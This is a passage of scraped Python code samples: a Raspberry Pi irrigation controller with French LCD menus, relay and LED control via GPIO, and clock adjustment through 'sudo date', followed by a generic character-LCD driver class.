                self.display_2_lcd([
                    None,
                    '{:^20}'.format('Demarrage de'),
                    '{:^20}'.format("l'arrosage en cours..."),
                    None
                ])

        time.sleep(3)
        self.currentMenuSelected = self.HOME_MENU

    def display_menu_watering_days(self):
        self.display_2_lcd([
            'Arrosage tous les   ',
            '{:^20}'.format(str(self.daysBetweenWatering) + ' jours'),
            None,
            '<Retour        Home>'
        ])

    def display_menu_start_time(self):
        self.display_2_lcd([
            'Arrosage a partir de',
            '{:^20}'.format(self.display_time()),
            None,
            '<Retour        Home>'
        ])

    def display_menu_duration(self):
        self.display_2_lcd([
            'Arrosage pendant     ',
            '{:^20}'.format(str(self.durationOfWatering) + ' min'),
            None,
            '<Retour        Home>'
        ])

    def display_menu_mode(self):
        mode = ""
        for key, val in enumerate(self.modeList):
            if key == self.currentModeSelected:
                mode += " >" + val + "< "
            else:
                mode += " " + val.lower() + " "

        self.display_2_lcd([
            'Mode d\'arrosage     ',
            '{:^20}'.format(mode),
            None,
            '<Retour        Home>'
        ])

    def display_menu_change_day_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement du jour',
            '{:^20}'.format('>' + day + '<' + '/' + month + '/' + year),
            '{:^20}'.format(hour + ':' + minute),
            '<Retour        Home>'
        ])

    def display_menu_change_month_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement du mois',
            '{:^20}'.format(day + '/' + '>' + month + '<' + '/' + year),
            '{:^20}'.format(hour + ':' + minute),
            '<Retour        Home>'
        ])

    def display_menu_change_year_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement de l\'an',
            '{:^20}'.format(day + '/' + month + '/' + '>' + year + '<'),
            '{:^20}'.format(hour + ':' + minute),
            '<Retour        Home>'
        ])

    def display_menu_change_hour_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement de l\'heure',
            '{:^20}'.format(day + '/' + month + '/' + year),
            '{:^20}'.format('>' + hour + '<' + ':' + minute),
            '<Retour        Home>'
        ])

    def display_menu_change_minute_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement des min',
            '{:^20}'.format(day + '/' + month + '/' + year),
            '{:^20}'.format(hour + ':' + '>' + minute + '<'),
            '<Retour        Home>'
        ])

    def display_config_menu(self):
        if 1 <= self.configMenuSelected <= len(self.configMenu) - 2:
            config_menu = [self.configMenuSelected - 1, self.configMenuSelected, self.configMenuSelected + 1]
        elif self.configMenuSelected == len(self.configMenu) - 1:
            config_menu = [self.configMenuSelected - 2, self.configMenuSelected - 1, self.configMenuSelected]
        else:
            config_menu = [0, 1, 2]

        lines = []
        for i in config_menu:
            if i == self.configMenuSelected:
                lines.append('{:-^20}'.format('>' + self.configMenu[i][1] + '<'))
            else:
                lines.append('{:^20}'.format(self.configMenu[i][1]))
        lines.append('<Home        Select>')

        self.display_2_lcd(lines)

    def display_emergency(self):
        self.display_2_lcd([
            '{:^20}'.format('Urgence activee !'),
            None,
            '{:^20}'.format('Systeme desactive'),
            None
        ])

    # Returns True if it's necessary to watering
    # Returns False if not
    def has_to_water(self):
        time_dif = self.get_next_watering_date() - datetime.datetime.today()

        if math.ceil(time_dif.total_seconds() / 60) <= 0:
            return True

        return False

    # Returns the time before the next watering begin
    def next_watering_in(self):
        time_dif = self.get_next_watering_date() - datetime.datetime.today()

        return self.convert_time_dif_to_string(time_dif)

    # Returns the next datetime to be watered
    def get_next_watering_date(self):
        if self.lastWatering:
            next_watering_date = self.lastWatering + datetime.timedelta(days=self.daysBetweenWatering)
        else:
            next_watering_date = datetime.datetime.today()

        day = next_watering_date.strftime("%d")
        month = next_watering_date.strftime("%m")
        year = next_watering_date.strftime("%Y")
        hour = '{:02d}'.format(self.startTime[0])
        minute = '{:02d}'.format(self.startTime[1])

        return datetime.datetime.strptime(day + "/" + month + "/" + year + " " + hour + ":" + minute, "%d/%m/%Y %H:%M")

    # Returns the time until the watering is completed
    def end_watering_in(self):
        time_dif = self.endWateringDate - datetime.datetime.today()
        return self.convert_time_dif_to_string(time_dif)

    # Converts the time difference to a string
    def convert_time_dif_to_string(self, time_dif):
        seconds = time_dif.seconds
        minutes = math.floor(seconds / 60)
        hours = math.floor(minutes / 60)
        days = time_dif.days

        if days > 0:
            return str(days) + "j " + str(math.floor(seconds / 3600)) + "h"
        elif hours > 0:
            hours = math.floor(time_dif.seconds / 3600)
            return str(hours) + "h" + '%02d' % math.floor((seconds - hours * 3600) / 60)
        elif minutes > 0:
            return str(minutes) + " min"
        else:
            return str(seconds) + " sec"

    # Starts the watering
    def start_watering(self):
        # If the mode is OFF, cannot water
        if self.modeList[self.currentModeSelected] == "OFF":
            return

        # If the emergency is on
        if self.emergency_on:
            return

        GPIO.output(param.GPIO['relay'][1], GPIO.HIGH)
        self.ongoingWatering = True
        self.lastWatering = datetime.datetime.today()
        self.endWateringDate = self.lastWatering + datetime.timedelta(minutes=self.durationOfWatering)

        # Terminates an old process if exists
        if self.watering_process:
            if self.watering_process.is_alive:
                self.watering_process.terminate()

            self.watering_process = None

        self.watering_process = multiprocessing.Process(target=self.watering)
        self.watering_process.start()

    # Stops the watering
    def stop_watering(self):
        # If the current mode is ON, cannot stop the watering
        if self.modeList[self.currentModeSelected] == "ON" and not self.emergency_on:
            return

        if self.watering_process:
            if self.watering_process.is_alive():
                self.watering_process.terminate()

            self.watering_process = None

        GPIO.output(param.GPIO['relay'][1], GPIO.LOW)
        self.ongoingWatering = False
        GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW)

    # Blinks the LED during the watering
    def watering(self):
        green_led = param.GPIO['led']['green'][1]
        self.led_blink(green_led, 5, 0.1)

        while True:
            GPIO.output(green_led, GPIO.HIGH)
            time.sleep(1)
            GPIO.output(green_led, GPIO.LOW)
            time.sleep(1)

    # Blinks during 1 sec fast
    def led_blink(self, pin, how_much, how_fast):
        for i in range(how_much):
            GPIO.output(pin, GPIO.HIGH)
            time.sleep(how_fast)
            GPIO.output(pin, GPIO.LOW)
            time.sleep(how_fast)

    # Starts the emergency process
    def start_emergency(self):
        while True:
            GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH)
            time.sleep(1)
            GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)
            time.sleep(1)

    def switch_off_lcd(self):
        self.lcd.display_enabled = False
        self.lcd.backlight_enabled = False

    def switch_on_lcd(self):
        self.lcd.display_enabled = True
        self.lcd.backlight_enabled = True
        self.lcd.clear()
        self.lcd.cursor_pos = (0, 0)
        self.lcd.cursor_mode = CursorMode.hide
Ejemplo n.º 33
0
class Watering:
    def __init__(self):
        # Watering variables
        self.daysBetweenWatering = 3  # Number of days between one watering
        self.startTime = [23, 50]  # [hh, mm]
        self.durationOfWatering = 40  # in minutes
        self.modeList = ['AUTO', 'MANU']  # List of available modes
        self.currentModeSelected = 0
        self.lastWatering = None  # Last date of watering
        self.ongoingWatering = False  # Is the watering on going or not
        self.endWateringDate = None  # Contains the datetime of the end of the current watering

        # Emergency
        self.emergency_on = False

        # Process
        self.watering_process = None
        self.emergency_process = None

        # Menu
        self.currentMenuSelected = 0
        self.configMenuSelected = 0

        self.HOME_MENU = 0
        self.CONFIG_MENU = 1
        self.CONFIG_DETAILS_MENU = 2
        self.EMERGENCY_MENU = 3
        self.mainMenu = {
            0: self.display_menu_home,
            1: self.display_config_menu,
            2: self.display_config_details,
            3: self.display_emergency
        }

        self.START_STOP_WATERING_CONFIG_MENU = 0
        self.DAYS_OF_WATERING_CONFIG_MENU = 1
        self.START_WATERING_AT_CONFIG_MENU = 2
        self.DURATION_OF_WATERING_CONFIG_MENU = 3
        self.MODE_SELECTION_CONFIG_MENU = 4
        self.CHANGE_DAY_DATE_CONFIG_MENU = 5
        self.CHANGE_MONTH_DATE_CONFIG_MENU = 6
        self.CHANGE_YEAR_DATE_CONFIG_MENU = 7
        self.CHANGE_HOUR_DATE_CONFIG_MENU = 8
        self.CHANGE_MINUTE_DATE_CONFIG_MENU = 9
        self.configMenu = {
            0: (self.display_menu_start_stop_watering, "Demarrer/Arreter"),
            1: (self.display_menu_watering_days, "Jours d'arro."),
            2: (self.display_menu_start_time, "Heure de debut"),
            3: (self.display_menu_duration, "Duree d'arro."),
            4: (self.display_menu_mode, "Mode d'arro."),
            5: (self.display_menu_change_day_date, 'Changer le jour'),
            6: (self.display_menu_change_month_date, 'Changer le mois'),
            7: (self.display_menu_change_year_date, 'Changer l\'annee'),
            8: (self.display_menu_change_hour_date, 'Changer l\'heure'),
            9: (self.display_menu_change_minute_date, 'Changer les min')
        }

        # LCD setup and startup
        self.last_activity = datetime.datetime.today()
        self.time_before_switch_off = 60 * 5  # In seconds
        self.lcd = CharLCD(pin_backlight=18,
                           backlight_mode=BacklightMode.active_high,
                           pin_rw=None)
        self.lcd.backlight = True
        self.lcd.cursor_pos = (0, 0)
        self.lcd.write_string('Demarrage en cours..')
        self.lcd.cursor_pos = (1, 0)
        self.lcd.write_string('Initialisation des')
        self.lcd.cursor_pos = (2, 0)
        self.lcd.write_string('parametres ')
        self.lcd.cursor_mode = CursorMode.blink

        # Setup the GPIOs
        self.setup_gpio(param.GPIO)

        # Test if all LEDs work
        self.test_setup()

        # Clean the lcd
        self.lcd.clear()
        self.lcd.cursor_mode = CursorMode.hide

        # Put the relay to the off position
        GPIO.output(param.GPIO['relay'][1], GPIO.LOW)
        self.start()

    # GPIO configuration
    def setup_gpio(self, array):
        GPIO.setwarnings(False)
        GPIO.setmode(GPIO.BOARD)

        # v[0] contains the key
        # v[1] contains the value
        for v in array.items():
            if isinstance(v[1], dict):
                self.setup_gpio(v[1])
            else:
                if v[1][0].upper() == "IN":
                    GPIO.setup(v[1][1], GPIO.IN, pull_up_down=GPIO.PUD_UP)

                    # Define callback method
                    if v[0] in ['left', 'right']:
                        GPIO.add_event_detect(
                            v[1][1],
                            GPIO.FALLING,
                            callback=self.left_right_btn_pressed,
                            bouncetime=500)
                    elif v[0] in ['up', 'bottom']:
                        GPIO.add_event_detect(
                            v[1][1],
                            GPIO.FALLING,
                            callback=self.up_bottom_btn_pressed,
                            bouncetime=500)
                    elif v[0] == 'emergency':
                        GPIO.add_event_detect(
                            v[1][1],
                            GPIO.FALLING,
                            callback=self.emergency_btn_pressed,
                            bouncetime=2000)
                else:
                    GPIO.setup(v[1][1], GPIO.OUT)

    # Test if all LEDs work
    def test_setup(self):
        GPIO.output(param.GPIO['led']['green'][1], GPIO.HIGH)
        GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH)
        time.sleep(5)
        GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW)
        GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)

    def start(self):
        while True:
            date_diff = datetime.datetime.today() - self.last_activity
            if self.lcd.display_enabled and date_diff.seconds > self.time_before_switch_off and self.currentMenuSelected != self.CONFIG_DETAILS_MENU:
                self.switch_off_lcd()
                self.currentMenuSelected = self.HOME_MENU
            elif not self.lcd.display_enabled and date_diff.seconds < self.time_before_switch_off:
                self.switch_on_lcd()
                self.display_menu()
            else:
                # Displays the menu only if the screen is on
                self.display_menu()

            # Calculates if it has to water or not
            # If mode AUTO
            if self.modeList[
                    self.currentModeSelected] == "AUTO" and self.has_to_water(
                    ) and not self.ongoingWatering:
                self.start_watering()
            # Stops the watering after duration specified
            elif self.ongoingWatering and self.endWateringDate < datetime.datetime.today(
            ):
                self.stop_watering()
            time.sleep(.5)

    # Changes the currentMenuSelected
    def left_right_btn_pressed(self, channel):
        if not self.lcd.display_enabled:
            self.last_activity = datetime.datetime.today()
            return
        self.last_activity = datetime.datetime.today()

        if self.emergency_on:
            return

        if param.GPIO['btn']['right'][1] == channel:
            self.currentMenuSelected = self.currentMenuSelected + 1 if self.currentMenuSelected < len(
                self.mainMenu) - 2 else 0
        elif param.GPIO['btn']['left'][1] == channel:
            self.currentMenuSelected = self.currentMenuSelected - 1 if self.currentMenuSelected > 0 else 0

    # Changes the value of the corresponding currentMenuSelected
    def up_bottom_btn_pressed(self, channel):
        if not self.lcd.display_enabled:
            self.last_activity = datetime.datetime.today()
            return
        self.last_activity = datetime.datetime.today()

        # Change the current selected config menu
        if self.currentMenuSelected == self.CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.configMenuSelected = self.configMenuSelected - 1 if self.configMenuSelected > 0 else len(
                    self.configMenu) - 1
            if param.GPIO['btn']['bottom'][1] == channel:
                self.configMenuSelected = self.configMenuSelected + 1 if self.configMenuSelected < len(
                    self.configMenu) - 1 else 0

        # Adds or removes days between watering
        elif self.configMenuSelected == self.DAYS_OF_WATERING_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.daysBetweenWatering = self.daysBetweenWatering + 1 if self.daysBetweenWatering < 7 else 1
            if param.GPIO['btn']['bottom'][1] == channel:
                self.daysBetweenWatering = self.daysBetweenWatering - 1 if self.daysBetweenWatering > 1 else 7

        # Defines the time when the watering must start
        elif self.configMenuSelected == self.START_WATERING_AT_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.add_start_time()
            if param.GPIO['btn']['bottom'][1] == channel:
                self.remove_start_time()

        # Adds or removes the duration of watering
        elif self.configMenuSelected == self.DURATION_OF_WATERING_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                self.durationOfWatering += 10
            if param.GPIO['btn']['bottom'][
                    1] == channel and self.durationOfWatering > 10:
                self.durationOfWatering -= 10

        # Changes the current mode
        elif self.configMenuSelected == self.MODE_SELECTION_CONFIG_MENU:
            length = len(self.modeList)

            if param.GPIO['btn']['up'][1] == channel:
                self.currentModeSelected = self.currentModeSelected + 1 if self.currentModeSelected < length - 1 else 0
            if param.GPIO['btn']['bottom'][1] == channel:
                self.currentModeSelected = self.currentModeSelected - 1 if self.currentModeSelected > 0 else length - 1

        # Change the current datetime of the OS
        elif self.configMenuSelected == self.CHANGE_DAY_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 day"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 day"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_MONTH_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 month"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 month"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_YEAR_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 year"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 year"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_HOUR_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 hour"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 hour"])

            subprocess.call(["sudo", "hwclock", "-w"])

        elif self.configMenuSelected == self.CHANGE_MINUTE_DATE_CONFIG_MENU:
            if param.GPIO['btn']['up'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "+1 minute"])
            elif param.GPIO['btn']['bottom'][1] == channel:
                subprocess.call(["sudo", "date", "-s", "-1 minute"])

            subprocess.call(["sudo", "hwclock", "-w"])

    # Stops or start the emergency
    def emergency_btn_pressed(self, channel):
        return
        self.last_activity = datetime.datetime.today()

        # Stops
        if self.emergency_on:
            if self.emergency_process.is_alive():
                self.emergency_process.terminate()

            self.emergency_on = False
            self.currentMenuSelected = self.HOME_MENU
            GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)
        # Starts
        else:
            self.emergency_on = True
            self.currentMenuSelected = self.EMERGENCY_MENU
            self.stop_watering()

            # If an old process exists -> terminate
            if self.emergency_process:
                if self.emergency_process.is_alive():
                    self.emergency_process.terminate()

                self.emergency_process = None

            # Creation of the new process
            self.emergency_process = multiprocessing.Process(
                target=self.start_emergency)
            self.emergency_process.start()

    # Adds 10 minutes to the start time
    def add_start_time(self):
        if self.startTime[0] == 23 and self.startTime[1] == 50:
            self.startTime = [0, 0]
        elif self.startTime[1] == 50:
            self.startTime[0] += 1
            self.startTime[1] = 0
        else:
            self.startTime[1] += 10

    # Removes 10 minutes to the start time
    def remove_start_time(self):
        if self.startTime[0] == 0 and self.startTime[1] == 0:
            self.startTime = [23, 50]
        elif self.startTime[1] == 00:
            self.startTime[0] -= 1
            self.startTime[1] = 50
        else:
            self.startTime[1] -= 10

    # Returns the time 23h30
    def display_time(self):
        hours = str(self.startTime[0]) if self.startTime[0] > 9 else "0" + str(
            self.startTime[0])
        minutes = str(
            self.startTime[1]) if self.startTime[1] > 9 else "0" + str(
                self.startTime[1])
        return hours + "h" + minutes

    # Displays the main menu
    def display_menu(self):
        self.mainMenu.get(self.currentMenuSelected)()

    # Display the menu to the LCD
    def display_2_lcd(self, lines):
        self.lcd.cursor_mode = CursorMode.hide
        blank_line = '{:^20}'.format(' ')

        for key, value in enumerate(lines):
            self.lcd.cursor_pos = (key, 0)
            if value:
                self.lcd.write_string('{:20}'.format(value))
            else:
                self.lcd.write_string(blank_line)

    # Displays the home menu
    def display_menu_home(self):
        self.configMenuSelected = 0

        today = datetime.datetime.today()

        line1 = '{:^20}'.format(today.strftime("%d/%m/%Y %H:%M"))
        line2 = '{:^20}'.format('Mode ' +
                                self.modeList[self.currentModeSelected])
        line4 = None

        # If watering ongoing
        if self.ongoingWatering:
            line3 = 'Arrosage en cours   '
            line4 = '{:^20}'.format(self.end_watering_in())
        # If mode MANU
        elif self.modeList[self.currentModeSelected] == "MANU":
            line3 = 'Pas d\'arro programme'
        # If mode AUTO
        else:
            line3 = 'Proch. arro. dans:  '
            line4 = '{:^20}'.format(self.next_watering_in())

        self.display_2_lcd([line1, line2, line3, line4])

    # Displays the details of the selected configuration
    def display_config_details(self):
        self.configMenu[self.configMenuSelected][0]()

    def display_menu_start_stop_watering(self):
        if self.ongoingWatering:
            # If the ON mode is selected -> cant stop the watering
            if self.modeList[self.currentModeSelected] == 'ON':
                self.display_2_lcd([
                    "Impossible d'arreter", "l'arrosage en cours",
                    '{:^20}'.format("Mode ON active"), None
                ])
            else:
                self.stop_watering()
                self.display_2_lcd([
                    None, '{:^20}'.format("Arret de l'arrosage"),
                    '{:^20}'.format("en cours..."), None
                ])
        else:
            # If the OFF mode is selected -> cant start the watering
            if self.modeList[self.currentModeSelected] == 'OFF':
                self.display_2_lcd([
                    "Impossible d'allumer", "l'arrosage",
                    '{:^20}'.format("Mode OFF active"), None
                ])
            else:
                self.start_watering()
                self.display_2_lcd([
                    None, '{:^20}'.format('Demarrage de'),
                    '{:^20}'.format("l'arrosage en cours..."), None
                ])

        time.sleep(3)
        self.currentMenuSelected = self.HOME_MENU

    def display_menu_watering_days(self):
        self.display_2_lcd([
            'Arrosage tous les   ',
            '{:^20}'.format(str(self.daysBetweenWatering) + ' jours'), None,
            '<Retour        Home>'
        ])

    def display_menu_start_time(self):
        self.display_2_lcd([
            'Arrosage a partir de', '{:^20}'.format(self.display_time()), None,
            '<Retour        Home>'
        ])

    def display_menu_duration(self):
        self.display_2_lcd([
            'Arrosage pendant     ',
            '{:^20}'.format(str(self.durationOfWatering) + ' min'), None,
            '<Retour        Home>'
        ])

    def display_menu_mode(self):
        mode = ""
        for key, val in enumerate(self.modeList):
            if key == self.currentModeSelected:
                mode += " >" + val + "< "
            else:
                mode += " " + val.lower() + " "

        self.display_2_lcd([
            'Mode d\'arrosage     ', '{:^20}'.format(mode), None,
            '<Retour        Home>'
        ])

    def display_menu_change_day_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement du jour',
            '{:^20}'.format('>' + day + '<' + '/' + month + '/' + year),
            '{:^20}'.format(hour + ':' + minute), '<Retour        Home>'
        ])

    def display_menu_change_month_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement du mois',
            '{:^20}'.format(day + '/' + '>' + month + '<' + '/' + year),
            '{:^20}'.format(hour + ':' + minute), '<Retour        Home>'
        ])

    def display_menu_change_year_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement de l\'an',
            '{:^20}'.format(day + '/' + month + '/' + '>' + year + '<'),
            '{:^20}'.format(hour + ':' + minute), '<Retour        Home>'
        ])

    def display_menu_change_hour_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement de l\'heure',
            '{:^20}'.format(day + '/' + month + '/' + year),
            '{:^20}'.format('>' + hour + '<' + ':' + minute),
            '<Retour        Home>'
        ])

    def display_menu_change_minute_date(self):
        today = datetime.datetime.today()
        day = today.strftime("%d")
        month = today.strftime("%m")
        year = today.strftime("%Y")
        hour = today.strftime("%H")
        minute = today.strftime("%M")

        self.display_2_lcd([
            'Changement des min',
            '{:^20}'.format(day + '/' + month + '/' + year),
            '{:^20}'.format(hour + ':' + '>' + minute + '<'),
            '<Retour        Home>'
        ])

    def display_config_menu(self):
        if 1 <= self.configMenuSelected <= len(self.configMenu) - 2:
            config_menu = [
                self.configMenuSelected - 1, self.configMenuSelected,
                self.configMenuSelected + 1
            ]
        elif self.configMenuSelected == len(self.configMenu) - 1:
            config_menu = [
                self.configMenuSelected - 2, self.configMenuSelected - 1,
                self.configMenuSelected
            ]
        else:
            config_menu = [0, 1, 2]

        lines = []
        for i in config_menu:
            if i == self.configMenuSelected:
                lines.append('{:-^20}'.format('>' + self.configMenu[i][1] +
                                              '<'))
            else:
                lines.append('{:^20}'.format(self.configMenu[i][1]))
        lines.append('<Home        Select>')

        self.display_2_lcd(lines)

    def display_emergency(self):
        self.display_2_lcd([
            '{:^20}'.format('Urgence activee !'), None,
            '{:^20}'.format('Systeme desactive'), None
        ])

    # Returns True if it's necessary to watering
    # Returns False if not
    def has_to_water(self):
        time_dif = self.get_next_watering_date() - datetime.datetime.today()

        if math.ceil(time_dif.total_seconds() / 60) <= 0:
            return True

        return False

    # Returns the time before the next watering begin
    def next_watering_in(self):
        time_dif = self.get_next_watering_date() - datetime.datetime.today()

        return self.convert_time_dif_to_string(time_dif)

    # Returns the next datetime to be watered
    def get_next_watering_date(self):
        if self.lastWatering:
            next_watering_date = self.lastWatering + datetime.timedelta(
                days=self.daysBetweenWatering)
        else:
            next_watering_date = datetime.datetime.today()

        day = next_watering_date.strftime("%d")
        month = next_watering_date.strftime("%m")
        year = next_watering_date.strftime("%Y")
        hour = '{:02d}'.format(self.startTime[0])
        minute = '{:02d}'.format(self.startTime[1])

        return datetime.datetime.strptime(
            day + "/" + month + "/" + year + " " + hour + ":" + minute,
            "%d/%m/%Y %H:%M")

    # Returns the time until the watering is completed
    def end_watering_in(self):
        time_dif = self.endWateringDate - datetime.datetime.today()
        return self.convert_time_dif_to_string(time_dif)

    # Converts the time difference to a string
    def convert_time_dif_to_string(self, time_dif):
        seconds = time_dif.seconds
        minutes = math.floor(seconds / 60)
        hours = math.floor(minutes / 60)
        days = time_dif.days

        if days > 0:
            return str(days) + "j " + str(math.floor(seconds / 3600)) + "h"
        elif hours > 0:
            hours = math.floor(time_dif.seconds / 3600)
            return str(hours) + "h" + '%02d' % math.floor(
                (seconds - hours * 3600) / 60)
        elif minutes > 0:
            return str(minutes) + " min"
        else:
            return str(seconds) + " sec"

    # Starts the watering
    def start_watering(self):
        # If the mode is OFF, cannot water
        if self.modeList[self.currentModeSelected] == "OFF":
            return

        # If the emergency is on
        if self.emergency_on:
            return

        GPIO.output(param.GPIO['relay'][1], GPIO.HIGH)
        self.ongoingWatering = True
        self.lastWatering = datetime.datetime.today()
        self.endWateringDate = self.lastWatering + datetime.timedelta(
            minutes=self.durationOfWatering)

        # Terminates an old process if exists
        if self.watering_process:
            if self.watering_process.is_alive:
                self.watering_process.terminate()

            self.watering_process = None

        self.watering_process = multiprocessing.Process(target=self.watering)
        self.watering_process.start()

    # Stops the watering
    def stop_watering(self):
        # If the current mode is ON, cannot stop the watering
        if self.modeList[
                self.currentModeSelected] == "ON" and not self.emergency_on:
            return

        if self.watering_process:
            if self.watering_process.is_alive():
                self.watering_process.terminate()

            self.watering_process = None

        GPIO.output(param.GPIO['relay'][1], GPIO.LOW)
        self.ongoingWatering = False
        GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW)

    # Blinks the LED during the watering
    def watering(self):
        green_led = param.GPIO['led']['green'][1]
        self.led_blink(green_led, 5, 0.1)

        while True:
            GPIO.output(green_led, GPIO.HIGH)
            time.sleep(1)
            GPIO.output(green_led, GPIO.LOW)
            time.sleep(1)

    # Blinks during 1 sec fast
    def led_blink(self, pin, how_much, how_fast):
        for i in range(how_much):
            GPIO.output(pin, GPIO.HIGH)
            time.sleep(how_fast)
            GPIO.output(pin, GPIO.LOW)
            time.sleep(how_fast)

    # Starts the emergency process
    def start_emergency(self):
        while True:
            GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH)
            time.sleep(1)
            GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW)
            time.sleep(1)

    def switch_off_lcd(self):
        self.lcd.display_enabled = False
        self.lcd.backlight_enabled = False

    def switch_on_lcd(self):
        self.lcd.display_enabled = True
        self.lcd.backlight_enabled = True
        self.lcd.clear()
        self.lcd.cursor_pos = (0, 0)
        self.lcd.cursor_mode = CursorMode.hide
Ejemplo n.º 34
0
class Driver:

    Newline = '\r\n'

    def __init__(self,
                 rsPin,
                 enPin,
                 d4Pin,
                 d5Pin,
                 d6Pin,
                 d7Pin,
                 boardNum=GPIO.BCM,
                 rwPin=None,
                 cols=16,
                 rows=2,
                 warnings=False):

        if warnings is False:
            GPIO.setwarnings(False)

        self.cols = cols
        self.rows = rows

        self.firstRun = True

        self.lcd = CharLCD(cols=cols,
                           rows=rows,
                           pin_rw=rwPin,
                           pin_rs=rsPin,
                           pin_e=enPin,
                           pins_data=[d4Pin, d5Pin, d6Pin, d7Pin],
                           numbering_mode=boardNum)

        self.lcdmem = self._generate_lcd_memory()
        self.curpos = [0, 0]  # [row, column]

        self._warm_up_display()

        sleep(1)
        self.lcd.clear()
        sleep(1)

    def __enter__(self):

        return self

    def __exit__(self, exc_type, exc_val, exc_tb):

        GPIO.cleanup()

    def _warm_up_display(self):
        '''
        Fills every section of the display with spaces so the display gets "warmed up"
        and doesnt output junk when we start sending real data to it.
        :return:
        '''

        characters = self.cols * self.rows

        for x in range(characters):
            self.append_to_screen(' ')

    def _generate_lcd_memory(self):

        mem = []

        for x in range(self.rows):
            row = []

            for y in range(self.cols):
                row.append('')

            mem.append(row)

        return mem

    def _update_cursor_position(self):
        pass

    def send_newline(self):
        '''Sends a newline character to the LCD screen.

        :return: None
        '''

        self.lcd.write_string(self.Newline)

        if self.rows - 1 == self.curpos[0]:
            self.curpos[0] = 0

        else:
            self.curpos[0] += 1

        self.curpos[1] = 0

    def center_text(self, text):
        '''Returns supplied text centered based on how many columns the LCD screen has

        :param text: Text to center
        :type text: str
        :return: Centered text
        :rtype: str
        '''

        if len(text) > self.cols:
            raise Exception('Cant Center Text greather than screen width')

        if len(text) == self.cols:
            return text

        return text.center(self.cols, ' ')

    def append_to_screen(self, text, delay=.2):
        '''Appends text to the screen where the cursor last ended.

        :param text: String to write to the LCD screen
        :type text: str
        :param delay: Time to wait before writing string to the screen
        :type delay: float
        :return: None
        '''
        def determine_cursor_row():

            if columnCounter > self.cols - 1:
                if self.curpos[1] == self.cols - 1:
                    self.curpos[1] = 0

                else:

                    self.curpos[1] += 1

        def update_cursor_column():
            self.curpos[1] = columnCounter

        #sleep(delay)
        columnCounter = self.curpos[1]

        for char in text:

            update_cursor_column()
            determine_cursor_row()

            # writes data to LCD
            self.lcd.write_string(char)
            # updates the memory of what is written to the LCD
            self.lcdmem[self.curpos[0]][self.curpos[1]] = char

            if columnCounter == self.cols - 1:
                columnCounter = 0
                update_cursor_column()
                self.curpos[0] += 1

                if self.curpos[0] > self.rows - 1:
                    self.curpos[0] = 0
            else:

                columnCounter += 1
                update_cursor_column()

    def refresh_screen(self, text, delay=.2):
        '''Clears the LCD and writes a string of text

        :param text: String to write to the LCD screen
        :type text: str
        :param delay: Time to wait before writing string to the screen
        :type delay: float
        :return: None
        '''

        self.lcd.clear()
        self.append_to_screen(text, delay)

    def clear_screen(self):
        '''Clears the LCD screen

        :return: None
        '''

        self.curpos = [0, 0]

